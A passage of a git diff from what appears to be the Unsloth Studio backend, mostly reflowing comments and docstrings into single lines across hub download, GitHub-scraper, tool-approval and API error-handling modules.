_snapshot_download_plan(info)- # The manifest verifies the finalized files under snapshots/, which both transports produce- # identically; XET's block-level dedup lives only in the chunk cache.+ # The manifest verifies the finalized files under snapshots/, which both transports produce identically; XET's block-level dedup lives only in the chunk cache.download_manifest.write_manifest("model", repo_id, None, expected_files, mode)else:ignore_patterns = list(SNAPSHOT_IGNORE_PATTERNS)@@ -620,9 +580,7 @@ def _gguf_variant_target_plan(raise RuntimeError(f"Metadata unavailable while resolving GGUF variant '{variant}' " f"for {repo_id}") from e- # plan_for_variant, not .get: a repo filing every variant under one shared container qualifies- # every key, so a stored pin or an explicit repo:Q4_K_M missed the map and the worker exited with- # "No GGUF shards matching variant".+ # plan_for_variant, not .get: a repo filing every variant under one shared container qualifies every key, so a stored pin or an explicit repo:Q4_K_M missed the map and the worker exited with "No GGUF shards matching variant".return plan_for_variant(build_gguf_variant_plans(list(info.siblings)), variant)@@ -658,8 +616,7 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, modmode,)else:- # Metadata unreachable: resume the exact shards the original attempt recorded so snapshot_download- # can range over the surviving .incomplete blobs.+ # Metadata unreachable: resume the exact shards the original attempt recorded so snapshot_download can range over the surviving .incomplete blobs.manifest = download_manifest.read_manifest("model", repo_id, variant)if manifest is None or not manifest.expected_files:print(@@ -703,8 +660,7 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mod"hashes; starting without partial cache reuse.",file = sys.stderr,)- # Main quant blobs are owned by this variant; the shared mmproj companion has its own marker and is- # never purged while a concurrent peer is writing it.+ # Main quant blobs are owned by this variant; the shared mmproj companion has its own marker and is never purged while a concurrent peer is writing it.purged = prepare_cache_for_transport("model",repo_id,@@ -755,12 +711,7 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, moddef _download_scoped_snapshot(repo_id: str, scope: str, files: list[str], hf_token: str | None, mode: str) -> None:- """Fetch exactly ``files`` from ``repo_id``, keyed under ``scope``.-- For consumers that read a deliberate subset of a repo (the diffusion loader skips the- packaged root single, transformer/ shards and fp16 twins). Keyed apart from the repo's- full snapshot so neither manifest describes the other, and the repo is not later judged- partial against expectations it was never meant to meet."""+ """Fetch exactly ``files`` from ``repo_id``, keyed under ``scope``. For consumers that read a deliberate subset of a repo (the diffusion loader skips the packaged root single, transformer/ shards and fp16 twins). Keyed apart from the repo's full snapshot so neither manifest describes the other, and the repo is not later judged partial against expectations it was never meant to meet."""from huggingface_hub import HfApi, snapshot_downloadfrom hub.utils.download_registry import prepare_cache_for_transportfrom hub.utils import download_manifest@@ -780,8 +731,7 @@ def _download_scoped_snapshot(blob_hashes: frozenset[str] = frozenset()if info is not None:siblings = [s for s in info.siblings if getattr(s, "rfilename", None) in wanted]- # Every requested file must resolve: dropping an unmatched name would shrink the manifest to the- # survivors, and snapshot_download also succeeds when an allow pattern matches nothing.+ # Every requested file must resolve: dropping an unmatched name would shrink the manifest to the survivors, and snapshot_download also succeeds when an allow pattern matches nothing.missing = sorted(set(wanted) - {getattr(s, "rfilename", None) for s in siblings})if missing:print(@@ -826,8 +776,7 @@ def _download_scoped_snapshot(max_workers = 1,)if info is None:- # With no metadata there is no manifest, and snapshot_download RETURNS AN EXISTING SNAPSHOT FOLDER- # when repo_info also fails, flipping the job to complete with no weights.+ # With no metadata there is no manifest, and snapshot_download RETURNS AN EXISTING SNAPSHOT FOLDER when repo_info also fails, flipping the job to complete with no weights.root = Path(snapshot_path)absent = tuple(f for f in files if not (root / f).exists())if absent:@@ -925,13 +874,7 @@ def _download_dataset(repo_id: str, hf_token: str | None, mode: str) -> None:def _force_stall_for_tests(repo_id: str, repo_type: str) -> None:- """Test-only fault injection: hang the Xet attempt so the stall watchdog can be exercised.-- Never set in production. ``unsloth_zoo.hf_xet_fallback`` has the same hook for its own spawns,- but the hub worker is a different process launched a different way, so without this there is no- way to hang a *real* hub download on demand. A partial has to exist and stay open: the watchdog- counts only ``.incomplete`` files held open by the child it is watching.- """+ """Test-only fault injection: hang the Xet attempt so the stall watchdog can be exercised. Never set in production. ``unsloth_zoo.hf_xet_fallback`` has the same hook for its own spawns, but the hub worker is a different process launched a different way, so without this there is no way to hang a *real* hub download on demand. A partial has to exist and stay open: the watchdog counts only ``.incomplete`` files held open by the child it is watching."""from huggingface_hub.constants import HF_HUB_CACHEblobs = os.path.join(HF_HUB_CACHE, f"{repo_type}s--" + repo_id.replace("/", "--"), "blobs")@@ -998,9 +941,7 @@ def main() -> None:except SystemExit:raiseexcept Exception as e:- # Surface a precise message rather than a generic "worker exited with code 1": huggingface_hub- # recommends force_download=True to recover, which our Restart maps to purging the partial via- # prepare_cache_for_transport.+ # Surface a precise message rather than a generic "worker exited with code 1": huggingface_hub recommends force_download=True to recover, which our Restart maps to purging the partial via prepare_cache_for_transport.print(f"{type(e).__name__}: {e}", file = sys.stderr)sys.exit(1)diff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/queries.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/queries.pyindex ff2a81d1c32..d0db45053da 100644--- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/queries.py+++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/queries.py@@ -7,7 +7,6 @@ GitHub's GraphQL rejects queries with unused fragments, so each query includesonly the fragments it references."""-# ---- Fragments (raw strings, composed per query) ----F_ACTOR = """fragment ActorFields on Actor {__typenamediff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.pyindex 7664510eb25..e7695ae3a5c 100644--- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.py+++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/scraper.py@@ -75,7 +75,6 @@ class RepoScraper:):self.writers[key] = JsonlWriter(self.repo_dir / f"{key}.jsonl")- # ----- helpers -----def _trial_stop(self, key: str, counter: int) -> bool:lim = self.trial_limits.get(key)if lim is None:@@ -93,7 +92,6 @@ class RepoScraper:rl.get("resetAt"),)- # ----- repo meta -----def scrape_repo_meta(self) -> Dict[str, Any]:data = self.client.graphql(Q.REPO_META_QUERY, {"owner": self.owner, "name": self.name})self._log_rate("repo_meta", data)@@ -102,7 +100,6 @@ class RepoScraper:self.writers["repo_meta"].write(repo)return repo- # ----- issues -----def scrape_issues(self) -> int:key = "issues"cursor = self.state.get(f"{key}_cursor")@@ -209,7 +206,6 @@ class RepoScraper:info = tl.get("pageInfo") or {}cur = info.get("endCursor") if info.get("hasNextPage") else None- # ----- PRs -----def scrape_prs(self) -> int:key = "pull_requests"cursor = self.state.get(f"{key}_cursor")@@ -393,7 +389,6 @@ class RepoScraper:info = rt.get("pageInfo") or {}cur = info.get("endCursor") if info.get("hasNextPage") else None- # ----- Discussions -----def scrape_discussions(self) -> int:key = "discussions"cursor = self.state.get(f"{key}_cursor")@@ -492,7 +487,6 @@ class RepoScraper:info = replies.get("pageInfo") or {}cur = info.get("endCursor") if info.get("hasNextPage") else None- # ----- Commits -----def scrape_commits(self, branch: str = "refs/heads/main") -> int:key = "commits"cursor = self.state.get(f"{key}_cursor")@@ -543,7 +537,6 @@ class RepoScraper:breakreturn total_new- # ----- Releases/Labels/Milestones -----def scrape_releases(self) -> int:return self._scrape_simple("releases", Q.RELEASES_QUERY, "releases")diff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/state_store.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/state_store.pyindex 330afdd9ca1..35c6b6d8b94 100644--- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/state_store.py+++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper_impl/state_store.py@@ -14,10 +14,7 @@ from typing import Any, Dict, NamedTupledef _locale_encoding() -> str:- """The codepage a pre-UTF-8 release here would have written, or "".-- Empty on a UTF-8 host, where there is no codepage to attribute the file to.- """+ """The codepage a pre-UTF-8 release here would have written, or "". Empty on a UTF-8 host, where there is no codepage to attribute the file to."""try:# novermin -- 3.11, and the except below IS the guard. vermin reads names# rather than control flow, so it cannot see that this is already handled.@@ -34,13 +31,7 @@ _DOUBLE_BYTE_ENCODINGS = ("cp932", "cp936", "cp949", "cp950")def _parse(raw: bytes, encoding: str) -> Any:- """Parse one JSON document under *encoding*, or None if it does not.-- RecursionError is a RuntimeError, so nesting json.loads will not descend is- the one parse failure the other three miss. Both callers run this outside- any further handler, so it has to answer None here or a single damaged- record aborts the scraper at startup instead of being skipped.- """+ """Parse one JSON document under *encoding*, or None if it does not. RecursionError is a RuntimeError, so nesting json.loads will not descend is the one parse failure the other three miss. Both callers run this outside any further handler, so it has to answer None here or a single damaged record aborts the scraper at startup instead of being skipped."""try:return json.loads(raw.decode(encoding))except (UnicodeDecodeError, LookupError, ValueError, RecursionError):@@ -55,26 +46,14 @@ class _Reading(NamedTuple):def _read_line(raw: bytes, codepage: str) -> _Reading:"""Read one line as UTF-8 and as a codepage, for dedup keys only.- Requiring valid JSON, not merely a successful decode, is what separates a- genuine legacy record from a half-written UTF-8 one: a torn multibyte- character decodes under cp1252 but leaves the JSON unterminated. Some byte- strings parse both ways, e.g. cp1251 ``Р°`` is ``D0 B0``, which is also- UTF-8 ``а``.-- The codepage reading is never authoritative, because the file's own encoding- cannot be recovered from its bytes. Reading a cp1251 shard on a cp1252- machine turns ``Привет`` into ``Ïðèâåò`` and every byte of it decodes- cleanly, so a successful decode proves nothing about who wrote it. It is- used only to recover the dedup keys, which are ASCII ids and come back the- same under any of these, so the first reading that parses will do.-- That is also why several are tried. latin-1 alone mangles the double-byte- codepages: cp932 ``表`` is ``95 5C``, and latin-1 turns the trail byte into- a JSON backslash, so the record fails to parse and its id is forgotten.+ Requiring valid JSON, not merely a successful decode, is what separates a genuine legacy record from a half-written UTF-8 one: a torn multibyte character decodes under cp1252 but leaves the JSON unterminated. Some byte strings parse both ways, e.g. cp1251 ``Р°`` is ``D0 B0``, which is also UTF-8 ``а``.++ The codepage reading is never authoritative, because the file's own encoding cannot be recovered from its bytes: reading a cp1251 shard on a cp1252 machine turns ``Привет`` into ``Ïðèâåò`` and every byte decodes cleanly. It is used only to recover the dedup keys, which are ASCII ids and come back the same under any of these, so the first reading that parses will do.++ That is also why several are tried: latin-1 alone mangles the double-byte codepages, since cp932 ``表`` is ``95 5C`` and latin-1 turns the trail byte into a JSON backslash, so the record fails to parse and its id is forgotten."""as_utf8 = _parse(raw, "utf-8")- # A record that reads as UTF-8 needs no second reading: re-parsing cost 2.8x on a 76 MB shard, and- # these reach gigabytes.+ # A record that reads as UTF-8 needs no second reading: re-parsing cost 2.8x on a 76 MB shard, and these reach gigabytes.if isinstance(as_utf8, dict):return _Reading(as_utf8, None)for encoding in (codepage, "latin-1", *_DOUBLE_BYTE_ENCODINGS):@@ -102,10 +81,7 @@ class StateStore:self.path.parent.mkdir(parents = True, exist_ok = True)self._lock = threading.Lock()self._data: Dict[str, Any] = {}- # Read whole, and UTF-8 only unlike the shards below: a checkpoint holds nothing but base64- # cursors and booleans, so a codepage retry could only resume on a mojibaked cursor GitHub rejects- # with INVALID_CURSOR_ARGUMENTS, whose empty page marks the stream done. Dropping a damaged- # checkpoint re-scrapes from page one, which the writers dedup.+ # Read whole, and UTF-8 only unlike the shards below: a checkpoint holds nothing but base64 cursors and booleans, so a codepage retry could only resume on a mojibaked cursor GitHub rejects with INVALID_CURSOR_ARGUMENTS, whose empty page marks the stream done. Dropping a damaged checkpoint re-scrapes from page one, which the writers dedup.if self.path.exists():try:raw = self.path.read_bytes()@@ -162,8 +138,7 @@ class JsonlWriter:if scan.legacy:self._count_seen_keys |= scan.legacy_keysif scan.saw_non_ascii or not scan.readable:- # Never convert: the writing encoding is unrecoverable and guessing mojibakes the records. Pure- # ASCII appends store identically under every codepage, and json.loads turns the escapes back.+ # Never convert: the writing encoding is unrecoverable and guessing mojibakes the records. Pure ASCII appends store identically under every codepage, and json.loads turns the escapes back.encoding = "ascii"self._ensure_ascii = Trueself._fh = self.path.open("a", buffering = 1, encoding = encoding, errors = "strict")@@ -171,27 +146,11 @@ class JsonlWriter:def _scan_existing(self) -> _Scan:"""Read the shard once to recover dedup keys and judge its encoding.- Line by line: these shards reach gigabytes on a large scrape, so neither- the bytes nor the decoded text are held whole.-- The verdict weighs the whole file. Each line with non-ASCII bytes votes:- one that parses only under the codepage is evidence of a legacy shard,- one that parses as UTF-8 is evidence against, since arbitrary codepage- text almost never forms valid multibyte UTF-8. A single corrupt byte in- a healthy shard therefore cannot outvote the records around it, and a- genuinely legacy shard has a legacy vote on every line that carries an- umlaut.-- More than one such line is required, because a single one is genuinely- undecidable: a legacy record holding one accented character and an ASCII- record holding one stray byte are the same shape. Reading it as damage- risks a duplicate; reading it as legacy marks an unreadable record seen- and blocks the retry that would replace it, losing it for good. Only one- of those is recoverable.-- The verdict only picks which reading supplies the dedup keys. The file- itself is never rewritten either way, so a wrong answer costs at most a- duplicate, never a corrupted record.+ Line by line, since these shards reach gigabytes on a large scrape, so neither the bytes nor the decoded text are held whole.++ The verdict weighs the whole file. Each line with non-ASCII bytes votes: one that parses only under the codepage is evidence of a legacy shard, one that parses as UTF-8 is evidence against, since arbitrary codepage text almost never forms valid multibyte UTF-8. So a single corrupt byte cannot outvote the records around it, and a genuinely legacy shard votes on every line carrying an umlaut. More than one such line is required, because a single one is undecidable: a legacy record holding one accented character and an ASCII record holding one stray byte are the same shape, and reading it as damage risks a duplicate while reading it as legacy marks an unreadable record seen and blocks the retry that would replace it. Only one of those is recoverable.++ The verdict only picks which reading supplies the dedup keys. The file itself is never rewritten either way, so a wrong answer costs at most a duplicate, never a corrupted record."""legacy_votes = 0utf8_votes = 0diff --git a/studio/backend/state/tool_approvals.py b/studio/backend/state/tool_approvals.pyindex 059f960022b..d1ddef9b420 100644--- a/studio/backend/state/tool_approvals.py+++ b/studio/backend/state/tool_approvals.py@@ -3,29 +3,18 @@"""Per-call tool-call confirmation gate.-When a chat request sets ``confirm_tool_calls``, the agentic loop pauses-before executing each tool and waits here for the user's decision, which-arrives via ``POST /api/inference/tool-confirm`` on a separate connection.--Each gated call is identified by a unique ``approval_id`` (minted with-``new_approval_id``) that the loop both registers here and echoes in the-``tool_start`` stream event. The frontend sends that exact id back, so a-stale or duplicate confirmation -- or a second tool awaiting a decision in-the same session -- can never resolve the wrong call. ``session_id`` is-kept alongside purely as a scope check.--The slot is registered with ``begin_tool_decision`` *before* the loop-yields ``tool_start``, closing the race where a fast confirmation (or an-auto "Always allow") could otherwise arrive before the waiter exists.-``wait_tool_decision`` then blocks and cleans up its own slot.+When a chat request sets ``confirm_tool_calls``, the agentic loop pauses before executing each tool and waits here for the user's decision, which arrives via ``POST /api/inference/tool-confirm`` on a separate connection.++Each gated call is identified by a unique ``approval_id`` (minted with ``new_approval_id``) that the loop registers here and echoes in the ``tool_start`` stream event. The frontend sends that exact id back, so a stale or duplicate confirmation, or a second tool awaiting a decision in the same session, can never resolve the wrong call; ``session_id`` is kept alongside purely as a scope check.++The slot is registered with ``begin_tool_decision`` *before* the loop yields ``tool_start``, closing the race where a fast confirmation (or an auto "Always allow") could arrive before the waiter exists. ``wait_tool_decision`` then blocks and cleans up its own slot."""import secretsimport threadingfrom typing import Optional-# Generous ceiling so a user can deliberate; the stop button or a disconnect still breaks the wait-# early via cancel_event.+# Generous ceiling so a user can deliberate; the stop button or a disconnect still breaks the wait early via cancel_event._DECISION_TIMEOUT = 3600.0# Fed to the model as the tool result when the user denies a call, so it can adapt instead of the turn ending abruptly.@@ -42,11 +31,7 @@ def new_approval_id() -> str:def begin_tool_decision(session_id, approval_id) -> dict:- """Register a pending decision slot and return it.-- Call this *before* yielding the ``tool_start`` event so the waiter- always exists by the time the user's confirmation can arrive.- """+ """Register a pending decision slot and return it. Call this *before* yielding the ``tool_start`` event so the waiter always exists by the time the user's confirmation can arrive."""slot = {"event": threading.Event(),"decision": None,@@ -63,12 +48,7 @@ def wait_tool_decision(cancel_event = None,timeout = _DECISION_TIMEOUT,):- """Block on a slot from ``begin_tool_decision`` until the user decides.-- Returns ``"allow"`` or ``"deny"``. Falls back to ``"deny"`` if the wait- times out or generation is cancelled before the user decides. Always- removes its own slot on exit.- """+ """Block on a slot from ``begin_tool_decision`` until the user decides. Returns ``"allow"`` or ``"deny"``, falling back to ``"deny"`` if the wait times out or generation is cancelled first. Always removes its own slot on exit."""try:waited = 0.0while not slot["event"].wait(timeout = 0.5):@@ -85,13 +65,7 @@ def wait_tool_decision(def abort_tool_decision(slot, approval_id) -> None:- """Remove a slot that was announced but never entered ``wait_tool_decision``.-- Streaming wrappers may stop after ``tool_start`` is yielded and before- the loop resumes into ``wait_tool_decision``. In that case there is no- waiter to run the normal cleanup path, so the generator close path calls- this explicitly.- """+ """Remove a slot that was announced but never entered ``wait_tool_decision``. Streaming wrappers may stop after ``tool_start`` is yielded and before the loop resumes into ``wait_tool_decision``, leaving no waiter to run the normal cleanup path, so the generator close path calls this explicitly."""with _lock:if _pending.get(approval_id) is slot:_pending.pop(approval_id, None)@@ -113,16 +87,7 @@ def resolve_tool_decision(decision,session_id = None,) -> bool:- """Record the user's "allow"/"deny" decision and unblock the loop.-- Returns ``True`` if a pending call matched, ``False`` otherwise (e.g. a- stale or duplicate confirmation, or a session-scope mismatch).-- The first decision wins: once a slot's event is set, a later (duplicate or- out-of-order) confirmation for the same id is rejected without mutating the- recorded decision, so an Allow can never be flipped to Deny in the window- before the waiter reads ``slot["decision"]`` and pops the slot.- """+ """Record the user's "allow"/"deny" decision and unblock the loop. Returns ``True`` if a pending call matched, ``False`` otherwise (a stale or duplicate confirmation, or a session-scope mismatch). The first decision wins: once a slot's event is set, a later confirmation for the same id is rejected without mutating the recorded decision, so an Allow can never be flipped to Deny in the window before the waiter reads ``slot["decision"]`` and pops the slot."""if not approval_id:return Falsewith _lock:diff --git a/studio/backend/utils/api_errors.py b/studio/backend/utils/api_errors.pyindex 0afe6e21bd6..37185561fe5 100644--- a/studio/backend/utils/api_errors.py+++ b/studio/backend/utils/api_errors.py@@ -3,34 +3,9 @@"""Error-envelope helpers for the OpenAI/Anthropic-compatible ``/v1/*`` API surface.-FastAPI's defaults emit ``{"detail": ...}`` bodies (status 422 for validation,-``exc.status_code`` for ``HTTPException``). Real OpenAI/Anthropic clients expect-provider-specific error envelopes instead, so this module re-wraps Unsloth's own-client-error responses on the ``/v1/*`` surface:+FastAPI's defaults emit ``{"detail": ...}`` bodies, but real OpenAI/Anthropic clients expect provider-specific envelopes, so Unsloth's own client-error responses on ``/v1/*`` are re-wrapped as ``{"error": {"message", "type", "param", "code"}}`` for the OpenAI surface and ``{"type": "error", "error": {"type", "message"}}`` for any path under ``/v1/messages``.-- OpenAI surface (``/v1/chat/completions``, ``/v1/completions``, ``/v1/models``,- ``/v1/responses``, ``/v1/embeddings``, ...)::-- {"error": {"message": str, "type": str, "param": None|str, "code": None|str}}--- Anthropic surface (any path starting with ``/v1/messages``)::-- {"type": "error", "error": {"type": str, "message": str}}--CRITICAL: the exception handlers installed by :func:`install_api_error_handlers`-are global, but they ONLY transform responses for paths that start with ``/v1/``.-For every other path (``/api/...``, frontend routes) they reproduce FastAPI's-default behavior byte-for-byte, because the Unsloth frontend depends on the-``{"detail": ...}`` shape for ``/api/*``.--Public contract (other modules depend on these):--- ``OPENAI_TYPE_BY_STATUS`` / ``ANTHROPIC_TYPE_BY_STATUS``: status -> type maps.-- ``openai_error_body(message, *, status=400, err_type=None, code=None, param=None)``-- ``anthropic_error_body(message, *, status=400, err_type=None)``-- ``is_anthropic_path(path)``-- ``error_body_for_path(path, message, *, status, err_type=None, code=None, param=None)``-- ``install_api_error_handlers(app)``+CRITICAL: the handlers installed by :func:`install_api_error_handlers` are global but ONLY transform paths starting with ``/v1/``. Every other path (``/api/...``, frontend routes) reproduces FastAPI's default behavior byte-for-byte, because the frontend depends on the ``{"detail": ...}`` shape for ``/api/*``."""import math@@ -44,7 +19,6 @@ from fastapi.utils import is_body_allowed_for_status_codefrom starlette.exceptions import HTTPException as StarletteHTTPException-# Status-code -> error ``type`` string for the OpenAI error envelope.OPENAI_TYPE_BY_STATUS = {400: "invalid_request_error",401: "authentication_error",@@ -59,7 +33,6 @@ OPENAI_TYPE_BY_STATUS = {503: "api_error",}-# Status-code -> error ``type`` string for the Anthropic error envelope.ANTHROPIC_TYPE_BY_STATUS = {400: "invalid_request_error",401: "authentication_error",@@ -84,13 +57,7 @@ def openai_error_body(code = None,param = None,) -> dict:- """Build an OpenAI-style error envelope.-- Returns ``{"error": {"message", "type", "param", "code"}}``. The ``param``- and ``code`` keys are always present (value may be ``None``). ``err_type``- defaults to :data:`OPENAI_TYPE_BY_STATUS` for ``status`` (``"api_error"``- fallback).- """+ """Build an OpenAI-style error envelope, ``{"error": {"message", "type", "param", "code"}}``. ``param`` and ``code`` are always present (value may be ``None``); ``err_type`` defaults to :data:`OPENAI_TYPE_BY_STATUS` for ``status`` (``"api_error"`` fallback)."""return {"error": {"message": str(message),@@ -107,13 +74,7 @@ def anthropic_error_body(status = 400,err_type = None,) -> dict:- """Build an Anthropic-style error envelope.-- Returns ``{"type": "error", "request_id": None, "error": {"type", "message"}}``.- ``request_id`` is a required (nullable) field on the spec's ErrorResponse;- Unsloth has no request-id system, so it is null. ``err_type`` defaults to- :data:`ANTHROPIC_TYPE_BY_STATUS` for ``status`` (``"api_error"`` fallback).- """+ """Build an Anthropic-style error envelope, ``{"type": "error", "request_id": None, "error": {"type", "message"}}``. ``request_id`` is a required nullable field of the spec's ErrorResponse and Unsloth has no request-id system, so it is null; ``err_type`` defaults to :data:`ANTHROPIC_TYPE_BY_STATUS` for ``status`` (``"api_error"`` fallback)."""return {"type": "error","request_id": None,@@ -144,27 +105,14 @@ def error_body_for_path(code = None,param = None,) -> dict:- """Dispatch to the correct envelope builder based on ``path``.-- Anthropic surface paths use :func:`anthropic_error_body` (``code``/``param``- are not part of that envelope and are ignored); all other ``/v1/*`` paths use- :func:`openai_error_body`.- """+ """Dispatch to the correct envelope builder based on ``path``: Anthropic surface paths use :func:`anthropic_error_body` (``code`` and ``param`` are not part of that envelope and are ignored), all other ``/v1/*`` paths use :func:`openai_error_body`."""if is_anthropic_path(path):return anthropic_error_body(message, status = status, err_type = err_type)return openai_error_body(message, status = status, err_type = err_type, code = code, param = param)def _summarize_validation_errors(errors) -> tuple:- """Derive a readable one-line message and (optional) body param from ``exc.errors()``.-- Returns ``(summary, param)``. ``summary`` is a human-readable string like- ``"messages: Field required"``. ``param`` is the offending body field name when- one can be extracted (used as the OpenAI envelope ``param``), else ``None``.-- Malformed-JSON bodies surface here as ``type == "json_invalid"`` and get a- dedicated message.- """+ """Derive a readable one-line message and optional body param from ``exc.errors()``, returning ``(summary, param)``: a string like ``"messages: Field required"`` and the offending body field name when one can be extracted (the OpenAI envelope ``param``), else ``None``. Malformed-JSON bodies arrive as ``type == "json_invalid"`` and get a dedicated message."""if not errors:return "Invalid request", None@@ -175,11 +123,9 @@ def _summarize_validation_errors(errors) -> tuple:loc = first.get("loc", ()) or ()msg = first.get("msg", "Invalid request")- # Extract the body field name (the loc element after a leading "body").param = Noneloc_parts = [p for p in loc if p not in ("body",)]if loc and loc[0] == "body" and loc_parts:- # First non-"body" element that is a field name (string).for part in loc_parts:if isinstance(part, str):param = part@@ -190,11 +136,9 @@ def _summarize_validation_errors(errors) -> tuple:return summary, param-# jsonable_encoder renders the offending "input" with o.decode(), which raises on binary and turned a 422 into a 500-# whose traceback embedded the payload: one 531 KB upload logged 2.2 MB.+# jsonable_encoder renders the offending "input" with o.decode(), which raises on binary and turned a 422 into a 500 whose traceback embedded the payload: one 531 KB upload logged 2.2 MB._MAX_ECHOED_INPUT_CHARS = 200-# A huge container of small values is as unbounded as one huge string (an array of 200k ints-# would have every element copied into the 422 body), so keep only enough to identify it.+# A huge container of small values is as unbounded as one huge string (an array of 200k ints would have every element copied into the 422 body), so keep only enough to identify it._MAX_ECHOED_ITEMS = 20_MAX_ECHOED_DEPTH = 4@@ -202,16 +146,13 @@ _MAX_ECHOED_DEPTH = 4def _truncate_text(value: str) -> str:if len(value) > _MAX_ECHOED_INPUT_CHARS:value = value[:_MAX_ECHOED_INPUT_CHARS] + f"... (truncated, {len(value)} chars)"- # A JSON body may legally contain a lone surrogate ("\ud800"), which survives- # parsing but cannot be UTF-8 encoded; Starlette's JSONResponse encodes with- # ensure_ascii = False, so echoing one turns the 422 back into a 500.+ # A JSON body may legally contain a lone surrogate, which survives parsing but cannot be UTF-8 encoded; Starlette's JSONResponse encodes with ensure_ascii = False, so echoing one turns the 422 back into a 500.if _LONE_SURROGATE_RE.search(value):value = _LONE_SURROGATE_RE.sub(lambda m: f"\\u{ord(m.group()):04x}", value)return value-# Digits, not characters: str() on a very large int raises above sys.get_int_max_str_digits()-# json.dumps would emit every digit otherwise.+# Digits, not characters: str() on a very large int raises above sys.get_int_max_str_digits(), and json.dumps would emit every digit otherwise._MAX_ECHOED_INT_DIGITS = 100_LONE_SURROGATE_RE = re.compile(r"[\ud800-\udfff]")@@ -232,15 +173,12 @@ def _summarize_error_input(value, depth: int = 0):if isinstance(value, int) and not isinstance(value, bool):return _summarize_int(value)if isinstance(value, float) and not math.isfinite(value):- # NaN and Infinity survive jsonable_encoder but Starlette's JSONResponse- # dumps with allow_nan = False, so echoing one turns the 422 into a 500.+ # NaN and Infinity survive jsonable_encoder but Starlette's JSONResponse dumps with allow_nan = False, so echoing one turns the 422 into a 500.return repr(value)if isinstance(value, dict):if depth >= _MAX_ECHOED_DEPTH:return f"<dict with {len(value)} keys>"- # islice, not a slice of items(): a 10 MB object should not be materialized- # into a list just to keep the first 20 entries. A key can be arbitrarily- # long too, so it gets the same budget as a value.+ # islice, not a slice of items(): a 10 MB object should not be materialized into a list just to keep the first 20 entries. A key can be arbitrarily long too, so it gets the same budget as a value.out = {_truncate_text(k) if isinstance(k, str) else k: _summarize_error_input(v, depth + 1)for k, v in islice(value.items(), _MAX_ECHOED_ITEMS)@@ -258,8 +196,7 @@ def _summarize_error_input(value, depth: int = 0):return value-# One error dictionary per rejected array element is normal for a route that validates-# each item, so the count itself is unbounded even when every entry is tiny.+# One error dictionary per rejected array element is normal for a route that validates each item, so the count itself is unbounded even when every entry is tiny._MAX_ECHOED_ERRORS = 20@@ -272,8 +209,7 @@ def safe_validation_errors(errors) -> list:safe.append(err)continuecleaned = dict(err)- # A typed mapping puts the offending key straight into loc (CreateResearchRun- # has budgets: dict[str, int]), so loc is user-controlled and unbounded too.+ # A typed mapping puts the offending key straight into loc (CreateResearchRun has budgets: dict[str, int]), so loc is user-controlled and unbounded too.loc = cleaned.get("loc")if isinstance(loc, (list, tuple)):cleaned["loc"] = [@@ -282,13 +218,10 @@ def safe_validation_errors(errors) -> list:]if "input" in cleaned:cleaned["input"] = _summarize_error_input(cleaned["input"])- # A validator that quotes the submitted value reaches "msg" too: models/- # training.py's _parse_lr raises f"... (got {v!r})", so a megabyte-long- # learning_rate would come back in full even with "input" summarized.+ # A validator that quotes the submitted value reaches "msg" too (models/training.py's _parse_lr raises f"... (got {v!r})"), so a megabyte-long learning_rate would come back in full even with "input" summarized.if isinstance(cleaned.get("msg"), str):cleaned["msg"] = _truncate_text(cleaned["msg"])- # ctx can carry the triggering exception object, which is not JSON either,- # and whose str() quotes the same value.+ # ctx can carry the triggering exception object, which is not JSON either, and whose str() quotes the same value.ctx = cleaned.get("ctx")if isinstance(ctx, dict):cleaned["ctx"] = {@@ -308,28 +241,19 @@ def safe_validation_errors(errors) -> list:def install_api_error_handlers(app) -> None:- """Register validation + HTTPException handlers that emit ``/v1/*`` envelopes.-- Both handlers are global but only transform responses for OpenAI/Anthropic-- compatible surfaces (see :func:`wants_api_error_envelope`: the ``/v1/*`` mount- and the preview ``/p/.../v1/*`` mount). Every other path reproduces FastAPI's- default ``{"detail": ...}`` behavior exactly so the Unsloth frontend keeps working.- """+ """Register validation + HTTPException handlers that emit ``/v1/*`` envelopes. Both are global but only transform the OpenAI/Anthropic-compatible surfaces (see :func:`wants_api_error_envelope`: the ``/v1/*`` mount and the preview ``/p/.../v1/*`` mount). Every other path reproduces FastAPI's default ``{"detail": ...}`` behavior exactly so the frontend keeps working."""@app.exception_handler(RequestValidationError)async def _handle_validation_error(request, exc):path = request.url.pathif wants_api_error_envelope(path):- # Same sanitizing as the 422 branch: /v1 builds its message from msg,- # and a validator that quotes the submitted value (models/inference.py- # embeds an unsupported block's type with btype!r) makes msg unbounded.+ # Same sanitizing as the 422 branch: /v1 builds its message from msg, and a validator that quotes the submitted value (models/inference.py embeds an unsupported block's type with btype!r) makes msg unbounded.summary, param = _summarize_validation_errors(safe_validation_errors(exc.errors()))return JSONResponse(status_code = 400,content = error_body_for_path(path, summary, status = 400, param = param),)- # Default FastAPI behavior for every other path, minus the raw input echo- # (see safe_validation_errors: encoding it raised and turned 422 into 500).+ # Default FastAPI behavior for every other path, minus the raw input echo (see safe_validation_errors: encoding it raised and turned 422 into 500).return JSONResponse(status_code = 422,content = {"detail": jsonable_encoder(safe_validation_errors(exc.errors()))},@@ -339,8 +263,7 @@ def install_api_error_handlers(app) -> None:async def _handle_http_exception(request, exc):path = request.url.pathheaders = getattr(exc, "headers", None)- # Statuses like 204/304/1xx must not carry a body, mirroring FastAPI's default- # http_exception_handler, which 